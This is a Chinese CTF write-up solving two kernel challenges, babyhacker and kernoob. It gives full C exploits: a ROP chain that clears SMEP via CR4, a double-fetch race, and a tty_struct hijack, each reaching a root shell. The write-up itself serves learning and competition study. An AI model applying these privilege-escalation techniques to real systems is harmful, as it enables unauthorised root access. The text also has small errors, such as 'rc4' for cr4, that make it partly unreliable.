这次比赛的两道kernel题,解包都可以获得flag,而且跟网上最流行的两道联系的题是如此的类似似。比赛的时候没有看,赛后复现了这两道题。
1、babykerne
go
badyhacker.ko
bzImage
initramfs.cpio
startvm.sh
只有这四个文件,vmlinux可以从bzImage提取出来
startvm.sh
#!/bin/bash
#stty intr ^]
#cd `dirname $0`
timeout --foreground 15 qemu-system-x86_64
-m 512M
-nographic
-kernel bzImage
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr'
-monitor /dev/null
-initrd initramfs.cpio
-smp cores=2,threads=4
-cpu qemu64,smep,smap 2>/dev/null
文件开了 smep和smap 保护
一个是内核不能访问用户空间的数据
一个是内核不能执行用户空间的代码 // 这个可以通过修改rc4寄存器的值改变
同时 也开了 kaslr 这个可以通过偏移和泄露来计算
系统开了计时,只有15秒。调试的时候得去掉。
cpio -idmv < initramfs.cpio
bin etc gen_cpio.sh init linuxrc sbin tmp
dev flag home initramfs.cpio proc sys usr
一般的配置文件都放 etc/init.d
的rcS文件
───────┬───────────────────────────────────────────────────────────────────────────
│ File: rcS
───────┼───────────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │
3 │ mount -t proc none /proc
4 │ mount -t devtmpfs none /dev
5 │ mkdir /dev/pts
6 │ mount /dev/pts
7 │
8 │ insmod /home/pwn/babyhacker.ko
9 │ chmod 644 /dev/babyhacker
10 │ echo 0 > /proc/sys/kernel/dmesg_restrict
11 │ echo 0 > /proc/sys/kernel/kptr_restrict
12 │
13 │ cd /home/pwn
14 │ chown -R root /flag
15 │ chmod 400 /flag
16 │
17 │
│ File: rcS
───────┼───────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │
3 │ mount -t proc none /proc
4 │ mount -t devtmpfs none /dev
5 │ mkdir /dev/pts
6 │ mount /dev/pts
7 │
8 │ insmod /home/pwn/babyhacker.ko
9 │ chmod 644 /dev/babyhacker
10 │ echo 0 > /proc/sys/kernel/dmesg_restrict
11 │ echo 0 > /proc/sys/kernel/kptr_restrict
12 │
13 │ cd /home/pwn
14 │ chown -R root /flag
15 │ chmod 400 /flag
16 │
17 │
18 │ chown -R 1000:1000 .
19 │ setsid cttyhack setuidgid 1000 sh
20 │
21 │ umount /proc
22 │ poweroff -f
容易看出系统加载了 babyhacker.ko 这个驱动kptr_restrict
和 dmesg_restrict
都为0
变量kptr_restrict是可以用来限制内核地址的打印,当kptr_restrict=0时,会直接打印内核地址(%p和%pK效果一样);当kptr_restrict=1时,若在中断上下文或软中断时,%pK打印“pK-error”,否则内核地址打印全0;当kptr_restrict=2时,%pK打印内核地址为全0;
dmesg能够输出kernel ring buffer中的内容,这些内容中可能会包含一些敏感信息
我们可以通过设置内核参数 dmesg_restrict 为 1 的方式来禁止普通用户查看demsg信息
/ $ cat /proc/kallsyms | grep commit_cr
ffffffff810a1430 T commit_creds
/ $ cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810a1820 T prepare_kernel_cred
commit_creds(prepare_kernel_cred(0))达到提权的效果
在babyhacker_ioctl出现bug,size改成负数,可以越界访问
v9 = v3;
v5 = (signed __int16)rdx1;
v8 = __readgsqword(0x28u);
switch ( cmd )
{
case 0x30001u:
read(rdx1, *(__int64 *)&cmd, (unsigned __int64)rdx1, (__int64)&v9);// 从用户读
break;
case 0x30002u:
copy_to_user(rdx1, v4, buffersize);//写给用户
break;
case 0x30000u:
if ( (signed int)rdx1 >= 0xB ) # this
v5 = 10;
buffersize = v5;
break;
}
.text:000000000000009D cmp edx, 0Bh
.text:00000000000000A0 mov eax, 0Ah
.text:00000000000000A5 cmovge edi, eax
.text:00000000000000A8 mov cs:buffersize, di //16位的
.text:00000000000000AF jmp short loc_8A
说明负数后面的的两个字节是决定size
读写都有了,然后又可以越界,那是不是可以rop了。真爽!
调试
先把 kaslr关了
找打驱动加载的基地址
/ $ lsmod
babyhacker 2104 0 - Live 0xffffffffc0000000 (OE)
先构造 size,看看canary在哪个位置
save_status();
int fd = open("/dev/babyhacker",2);
if(fd < 0){
puts("fd error");
exit(0);
}
getchar();
ioctl(fd,0x30000,0x80000100);
size_t buf[0x1000];
ioctl(fd,0x30002,buf);
size_t * buf_c = (size_t *)buf;
for(int i = 0;i<0x50;i++){
printf("idx:%d value:0x%lxn",i,buf_c[i]);
}
在调试的时候可以getchar()截住下面程序,让程序进入等待状态
idx:0 value:0xffffc90000135288
idx:1 value:0xffff88001db1a980
idx:2 value:0xffff88001d4e6200
idx:3 value:0xffff88001db15cd8
idx:4 value:0x24280ca
idx:5 value:0x0
idx:6 value:0x7fffffffffffffff
idx:7 value:0xfff
idx:8 value:0xe11d5dc4776f2cbf
idx:9 value:0x943891
idx:10 value:0x0
idx:11 value:0xffff88001db1a980
idx:12 value:0xffffffff810c31d0
idx:13 value:0xdead000000000100
idx:14 value:0xdead000000000200
idx:15 value:0xe11d5dc4776f2cbf
idx:16 value:0xffff88001db15c00
idx:17 value:0xfffffffffffffffb
idx:18 value:0xffff88001e3b21a8
idx:19 value:0xffff88001d4e6200
idx:20 value:0xffffffff814e5716
idx:21 value:0xffff88001d4e3e40
idx:22 value:0xffffffff814dd676
idx:23 value:0xffff88001e059350
idx:24 value:0x943890
idx:25 value:0xffff88001d4e6200
idx:26 value:0xffff88001d4e3f18
随便找个断点下,能断下就OK
└─[0] <> gdb vmlinux
pwndbg: loaded 180 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from vmlinux...(no debugging symbols found)...done.
pwndbg> add-symbol-file ./
.gdb_history bzImage initramfs.cpio startvm.sh
babyhacker.ko core/ rop.txt vmlinux
pwndbg> add-symbol-file ./
.gdb_history bzImage initramfs.cpio startvm.sh
babyhacker.ko core/ rop.txt vmlinux
pwndbg> add-symbol-file babyhacker.ko 0xffffffffc0000000
add symbol table from file "babyhacker.ko" at
.text_addr = 0xffffffffc0000000
Reading symbols from babyhacker.ko...done.
pwndbg> b *0xffffffffc0000000+0x35
Breakpoint 1 at 0xffffffffc0000035: file /home/zoe/Desktop/kernel_pwn/myko/babyhacker.c, line 50.
pwndbg> target remote :1234
RBP 0xffff88001d4e3d40 ◂— 0
RSP 0xffff88001d4e3bf8 ◂— 0
pwndbg> x/20xg 0xffff88001d4e3d40-0x8
0xffff88001d4e3d38: 0xe11d5dc4776f2cbf 0x0000000000000000
可以看出 0xe11d5dc4776f2cbf 找个就是 canary
然后 可以利用其它的内核地址就可以 得出offset 就用绕过kaslr
既然知道 canary,下面就是找出偏移
.text:00000000000000B8 lea cmd, [rbp-148h]
.text:00000000000000BF call _copy_to_user
所以整个数组大小应该是140byte
rbp前面就是canary
exp编写
做内核题,一般少不了对程序状态的保存
因为在用户空间返回内核空间的是时候要恢复状态,就有点像中断进入内核,然后保存状态。出来再把状态恢复。
因为要改rc4,肯定少不了 pop rdi; ret;
和mov cr4, rdi; pop rbp; ret;
这两条执行。
从用户空间回到内核空间需要 swapgs
和 iretq
具体流程就是:
修改size
读取数据找到cananry和offset
写rop
exp
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds =0xffffffff810a1430;
_prepare_kernel_cred prepare_kernel_cred =0xffffffff810a1820;
void get_shell(){
if(!getuid()){
printf("suceessn");
system("/bin/sh");
}
else{
puts("get shell fail");
}
exit(0);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags"
);
printf("[*] status has been savedn");
}
size_t pop_rdi = 0xffffffff8109054d,pop_rdx =0xffffffff81083f22;
size_t pop_rcx = 0xffffffff81006ffc,mov_rc4_pop_ret = 0xffffffff81004d70;
size_t swapgs = 0xffffffff810636b4,iretq_ret = 0xffffffff81478294;
void get_root()
{
commit_creds(prepare_kernel_cred(0));
}
void main(){
save_status();
int fd = open("/dev/babyhacker",O_RDONLY);
if(fd < 0){
puts("fd error");
exit(0);
}
getchar();
ioctl(fd,0x30000,0x80000100);
size_t buf[0x1000];
ioctl(fd,0x30002,buf);
size_t * buf_c = (size_t *)buf;
for(int i = 0;i<0x50;i++){
printf("idx:%d value:0x%lxn",i,buf_c[i]);
}
size_t canary = buf_c[8];
size_t offset = 0xffffffff810c31d0 - buf_c[12];
printf("[*]canary:0x%lxn",canary);
commit_creds += offset;
prepare_kernel_cred += offset;
pop_rdi +=offset;
iretq_ret += offset;
mov_rc4_pop_ret += offset;
printf("[*] commit_cred: 0x%lxn",commit_creds);
printf("[*] prepare_kernel_cred : 0x%lxn",prepare_kernel_cred);
ioctl(fd,0x30000,0x80001000);
size_t rop[0x100]={0};
int i=40;
rop[i++] = canary;
rop[i++] = 0;
rop[i++] = pop_rdi;
rop[i++] = 0x6f0;
rop[i++] = mov_rc4_pop_ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = swapgs;
rop[i++] = 0;
rop[i++] = iretq_ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
ioctl(fd,0x30001,rop);
//rop[i++] =
}
[*]canary:0x8e9280f76a472054
[*] commit_cred: 0xffffffff810a1430
[*] prepare_kernel_cred : 0xffffffff810a1820
suceess
/home/pwn # id
uid=0(root) gid=0
/home/pwn #
2.kernoob
go
bzImage
initramfs.cpio
noob.ko
startvm.sh
startvm.sh
stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64
-m 128M
-nographic
-kernel bzImage
-append 'console=ttyS0 loglevel=3 pti=off oops=panic panic=1 nokaslr'
-monitor /dev/null
-initrd initramfs.cpio
-smp 2,cores=2,threads=1
-cpu qemu64,smep 2>/dev/null
开了smep,没开nokaslr
smep 只有改cr4就可以绕过
比赛的时候有个师傅说是double fetch,然后我就想不出是哪里double fetch,后来看到一位师傅的博客讲到三种情况的 double fetch
下面引用师傅说的
1、Shallow Copy
这种数据传递通常是结构体类型的变量传递,结构体中包含了指针,当把这个数据传递进内核时,只是得到了结构体的数据,也就是浅拷贝,如果对结构体中的指针验证过后使用之前,恶意线程修改了这个指针,便是绕过了验证
2、Type Selection
第一次传递根据header决定数据类型,根据不同类型来接受第二次传递,在这之间修改了数据,则造成数据与类型不匹配,如cxgb3 main.c中的一段代码
3、Size Checking
第一次传递根据header获取size,申请对应大小的buf,第二次传递接受数据存入buf
for ----Mask 师傅
这次比赛的类型就是就跟第三种类似
1 #!/bin/sh
2
3 echo "Welcome :)"
4
5 mount -t proc none /proc
6 mount -t devtmpfs none /dev
7 mkdir /dev/pts
8 mount /dev/pts
9
10 insmod /home/pwn/noob.ko
11 chmod 666 /dev/noob
12
13 echo 0 > /proc/sys/kernel/dmesg_restrict
14 echo 0 > /proc/sys/kernel/kptr_restrict
15
16 cd /home/pwn
17 setsid /bin/cttyhack setuidgid 0 sh
18
19 umount /proc
20 poweroff -f
内核加载了noob.ko驱动
signed __int64 __usercall add_note@<rax>(__int64 a1@<rbp>, unsigned __int64 *a2@<rdi>)
{
unsigned __int64 v3; // [rsp-20h] [rbp-20h]
__int64 v4; // [rsp-18h] [rbp-18h]
_fentry__(a2);
v3 = *a2;
if ( a2[2] > 0x70 || a2[2] <= 0x1F )
return -1LL;
if ( v3 > 0x1F || *((_QWORD *)&pool + 2 * v3) )
return -1LL;
v4 = _kmalloc(a2[2], 0x14000C0LL);
if ( !v4 )
return -1LL;
*((_QWORD *)&pool + 2 * v3) = v4;
qword_BC8[2 * v3] = a2[2];
return 0LL;
}
这里在判断 size 和分配size是分开来判断的,如果这时候判断size完了,然后有另一个线程出现,然后修改
size,那是不是就可以分配到我们想要分配到的size,在kernel中存在一种tty_struct结构,大小是0x2e0。
利用有个 tty_operations 结构体,利用来很多函数,这也许就是传说中的风水地。
如果能修改其中一个或者劫持掉,那岂不是可以执行rop了
但是执行rop需要在知道栈的地址,那我们是不是可以先mmap一个可以执行内存,然后跳到这里来。
劫持 函数的时候要 利用寄存器中的值,和esp的值来实现
然后 需要把rop复制到开辟的栈上
然后smep 跟上面一样
然后就是getshell
调试
/home/pwn # lsmod
noob 16384 0 - Live 0xffffffffc0002000 (OE)
首先,先malloc到我们想要的size的chunk
char *buf2 = (char*) malloc(0x1000);
save_status();
buf[0] = 0x0;
int fd = open("/dev/noob",O_RDONLY);
pthread_t t1;
pthread_create(&t1,NULL,change,&buf[2]);
buf[0]=0;
buf[2]=0x0;
for(int i=0;i<0x100000;i++)
{
buf[2] = 0;
ioctl(fd,0x30000,buf);
}
fff=0;
pthread_join(t1,NULL);
ioctl(fd,0x30001,buf);
然后就能malloc到 我们想要的chunk
pwndbg> x/20xg 0xffffffffc00044c0
0xffffffffc00044c0: 0xffff8800058a6c00 0x00000000000002e0
0xffffffffc00044d0: 0x0000000000000000 0x0000000000000000
那之后就是伪造 tty_operations
struct tty_operations
{
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */
void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */
void (*throttle)(struct tty_struct *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty_struct *); /* 128 8 */
void (*stop)(struct tty_struct *); /* 136 8 */
void (*start)(struct tty_struct *); /* 144 8 */
void (*hangup)(struct tty_struct *); /* 152 8 */
int (*break_ctl)(struct tty_struct *, int); /* 160 8 */
void (*flush_buffer)(struct tty_struct *); /* 168 8 */
void (*set_ldisc)(struct tty_struct *); /* 176 8 */
void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty_struct *, char); /* 192 8 */
int (*tiocmget)(struct tty_struct *); /* 200 8 */
int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */
int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */
int (*set_termiox)(struct tty_struct *, struct termiox *); /* 224 8 */
int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 232 8 */
const struct file_operations *proc_fops; /* 240 8 */
/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */
};
修改ioctl 为我们的转移栈的地址 我们可以利用xchg eax,esp
RAX 0xffffffff8101db17 ◂— xchg eax, esp /* 0x63be0025394cc394 */
RBX 0x0
RCX 0x6e23a0 ◂— 0
RDX 0x0
RDI 0xffff8800058a6c00 ◂— add dword ptr [rax + rax], edx /* 0x100005401 */
RSI 0x0
R8 0x0
R9 0xffffabf2
R10 0x0
R11 0x0
R12 0xffff8800058a6c00 ◂— add dword ptr [rax + rax], edx /* 0x100005401 */
R13 0x0
R14 0xffff880005874c00 ◂— 0
R15 0xffff8800058a6400 ◂— add dword ptr [rax + rax], edx /* 0x100005401 */
RBP 0xffffc9000024fe60 —▸ 0xffffc9000024fee8 —▸ 0xffffc9000024ff28 —▸ 0xffffc9000024ff48 ◂— 0
RSP 0xffffc9000024fdb0 —▸ 0xffffffff815d0786 ◂— 0xae850ffffffdfd3d
RIP 0xffffffff8101db17 ◂— xchg eax, esp /* 0x63be0025394cc394 */
然后就将栈转移到了 0x8101db17
00:0000│ rsp 0x8101db17 —▸ 0xffffffff813f6c9d ◂— pop rdi /* 0x40478b480080c35f */
01:0008│ 0x8101db1f ◂— 0x6f0
02:0010│ 0x8101db27 —▸ 0xffffffff81069b14 ◂— 0x801f0fc35de7220f
03:0018│ 0x8101db2f ◂— 0
04:0020│ 0x8101db37 —▸ 0x400a4c ◂— 0xec834853e5894855
05:0028│ 0x8101db3f ◂— 0
0xffffffff8101db17 xchg eax, esp
► 0xffffffff8101db18 ret <0xffffffff813f6c9d>
↓
0xffffffff813f6c9d pop rdi
0xffffffff813f6c9e ret
↓
0xffffffff81069b14 mov cr4, rdi
0xffffffff81069b17 pop rbp
0xffffffff81069b18 ret
↓
0x400a4c push rbp
0x400a4d mov rbp, rsp
0x400a50 push rbx
0x400a51 sub rsp, 8
剩下就跟上面差不多就是写rop,绕过smep,再执行commit_creds(prepare_kernel_cred(0)); 然后getshell
exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <string.h>
#include <pthread.h>
#include <stdint.h>
#define _GNU_SOURCE
#include <string.h>
#include <sched.h>
#include <pty.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
//#define commit_cred 0xffffffff810a1430
//#define prepare_kernel_cred 0xffffffff810a1820
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
int spray_fd[0x100];
size_t buf[3] ={0};
struct tty_operations
{
struct tty_struct *(*lookup)(struct tty_driver *, struct file *, int); /* 0 8 */
int (*install)(struct tty_driver *, struct tty_struct *); /* 8 8 */
void (*remove)(struct tty_driver *, struct tty_struct *); /* 16 8 */
int (*open)(struct tty_struct *, struct file *); /* 24 8 */
void (*close)(struct tty_struct *, struct file *); /* 32 8 */
void (*shutdown)(struct tty_struct *); /* 40 8 */
void (*cleanup)(struct tty_struct *); /* 48 8 */
int (*write)(struct tty_struct *, const unsigned char *, int); /* 56 8 */
/* --- cacheline 1 boundary (64 bytes) --- */
int (*put_char)(struct tty_struct *, unsigned char); /* 64 8 */
void (*flush_chars)(struct tty_struct *); /* 72 8 */
int (*write_room)(struct tty_struct *); /* 80 8 */
int (*chars_in_buffer)(struct tty_struct *); /* 88 8 */
int (*ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 96 8 */
long int (*compat_ioctl)(struct tty_struct *, unsigned int, long unsigned int); /* 104 8 */
void (*set_termios)(struct tty_struct *, struct ktermios *); /* 112 8 */
void (*throttle)(struct tty_struct *); /* 120 8 */
/* --- cacheline 2 boundary (128 bytes) --- */
void (*unthrottle)(struct tty_struct *); /* 128 8 */
void (*stop)(struct tty_struct *); /* 136 8 */
void (*start)(struct tty_struct *); /* 144 8 */
void (*hangup)(struct tty_struct *); /* 152 8 */
int (*break_ctl)(struct tty_struct *, int); /* 160 8 */
void (*flush_buffer)(struct tty_struct *); /* 168 8 */
void (*set_ldisc)(struct tty_struct *); /* 176 8 */
void (*wait_until_sent)(struct tty_struct *, int); /* 184 8 */
/* --- cacheline 3 boundary (192 bytes) --- */
void (*send_xchar)(struct tty_struct *, char); /* 192 8 */
int (*tiocmget)(struct tty_struct *); /* 200 8 */
int (*tiocmset)(struct tty_struct *, unsigned int, unsigned int); /* 208 8 */
int (*resize)(struct tty_struct *, struct winsize *); /* 216 8 */
int (*set_termiox)(struct tty_struct *, struct termiox *); /* 224 8 */
int (*get_icount)(struct tty_struct *, struct serial_icounter_struct *); /* 232 8 */
const struct file_operations *proc_fops; /* 240 8 */
/* size: 248, cachelines: 4, members: 31 */
/* last cacheline: 56 bytes */
};
void get_shell(){
system("sh");
exit(0);
}
struct tty_operations fake_ops;
int fff = 1;
char fake_procfops[1024];
size_t user_cs, user_ss,user_rflags, user_sp ,user_gs,user_es,user_fs,user_ds;
void save_status()
{
__asm__(
"mov %%cs, %0n"
"mov %%ss,%1n"
"mov %%rsp,%2n"
"pushfqn"
"pop %3n"
"mov %%gs,%4n"
"mov %%es,%5n"
"mov %%fs,%6n"
"mov %%ds,%7n"
::"m"(user_cs),"m"(user_ss),"m"(user_sp),"m"(user_rflags),"m"(user_gs),"m"(user_es),"m"(user_fs),"m"(user_ds)
);
puts("[*]status has been saved.");
}
/*
void get_root()
{
void * (*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void * ))commit_cred;
(*cc)((*pkc)(0));
}
*/
void change(size_t*a){
while(fff==1){
*a=0x2e0;
}
}
_commit_creds commit_creds=0xffffffff810ad430;
_prepare_kernel_cred prepare_kernel_cred=0xffffffff810ad7e0;
//cd ./core/tmp && gcc exp.c -pthread --static -g -o exp && cd .. && ./gen_cpio.sh initramfs.cpio && cd .. && ./startvm.sh
void sudo(){
commit_creds(prepare_kernel_cred(0));
asm(
"push %0n"
"push %1n"
"push %2n"
"push %3n"
"push %4n"
"push $0n"
"swapgsn"
"pop %%rbpn"
"iretqn"
::"m"(user_ss),"m"(user_sp),"m"(user_rflags),"m"(user_cs),"a"(&get_shell)
);
}
void main(){
char *buf2 = (char*) malloc(0x1000);
save_status();
buf[0] = 0x0;
int fd = open("/dev/noob",O_RDONLY);
pthread_t t1;
pthread_create(&t1,NULL,change,&buf[2]);
buf[0]=0;
buf[2]=0x0;
for(int i=0;i<0x100000;i++)
{ buf[2] = 0;
ioctl(fd,0x30000,buf);
}
fff=0;
pthread_join(t1,NULL);
ioctl(fd,0x30001,buf);
/*close(fd);
int pid = fork();
if(pid < 0){
puts("fork error");
}
else if(pid==0){
char zeros[30] = {0};
buf[2] = 28;
buf[1] = (size_t) zeros;
ioctl(fd2,0x30002,buf);
if(getuid==0){
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
else{
puts("[*]fail");
exit(0);
}
}
else{
wait(NULL);
}
*/
size_t xchgeaxesp=0xffffffff8101db17;;//0xffffffff81007808;
size_t fake_stack=xchgeaxesp&0xffffffff;
if(mmap((void*)(fake_stack&0xfffff000), 0x3000, 7, 0x22, -1, 0)!=(fake_stack&0xfffff000)){ //这里是mmap地址
perror("mmap");
exit(1);
}
size_t rop[] =
{
0xffffffff813f6c9d, // pop rdi; ret;
0x6f0, // cr4 with smep disabled
0xffffffff81069b14, // mov cr4, rdi; ret;
0x0,
(size_t) sudo
};
memset(&fake_ops, 0, sizeof(fake_ops));//把rop写栈中
memset(fake_procfops, 0, sizeof(fake_procfops));
fake_ops.proc_fops = &fake_procfops;
fake_ops.ioctl = xchgeaxesp;
memcpy((void*)fake_stack, rop, sizeof(rop));
size_t buf_e[0x20/8] = {0};
for (int i =0;i<0x100;i++){
spray_fd[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);
if(spray_fd[i]<0){
perror("open tty");
}
}
puts("[+] Reading buffer content from kernel buffer");
buf[0]=0;
buf[1]=(size_t)buf_e;
buf[2]=0x20;
ioctl(fd, 0x30003, buf);
buf_e[3] = (size_t) &fake_ops;
for(int i =0;i<4;i++){
printf("%lxn",buf_e[i]);
}
ioctl(fd, 0x30002, buf);
getchar();
for(int i =0;i<0x100;i++){
ioctl(spray_fd[i],0,0);
}
}
Welcome :)
~ $ id
uid=1000(pwn) gid=1000 groups=1000
~ $ /tmp/exp
exp exp.c exp1.c expliot
~ $ /tmp/expliot
[*]status has been saved.
[+] Reading buffer content from kernel buffer
100005401
0
ffff88000620f0c0
6e23a0
/home/pwn # id
uid=0(root) gid=0
/home/pwn #
补充:
ptmx设备是tty设备的一种,open函数被tty核心调用, 当一个用户对这个tty驱动被分配的设备节点调用open时tty核心使用一个指向分配给这个设备的tty_struct结构的指针调用它,也就是说我们在调用了open函数了之后会创建一个`tty_struct`结构体,然而最关键的是这个tty_struct也是通过kmalloc申请出来的一个堆空间
for --钞sir师傅
这次比赛的kernel还是用到最常见的uaf,越界访问。足以看出其实kernel pwn和用户态的pwn 利用点是差不多的,主要是在利用方式。kernel pwn有很多可以利用的结构体之类的数据结构,也涉及到了进程和线程间通信的问题。往往比较复杂。
最后一道还有可以修复modprobe_path指向一个错误的二进制文件进行getshell。
感谢 peanuts师傅的指导
参考链接

评论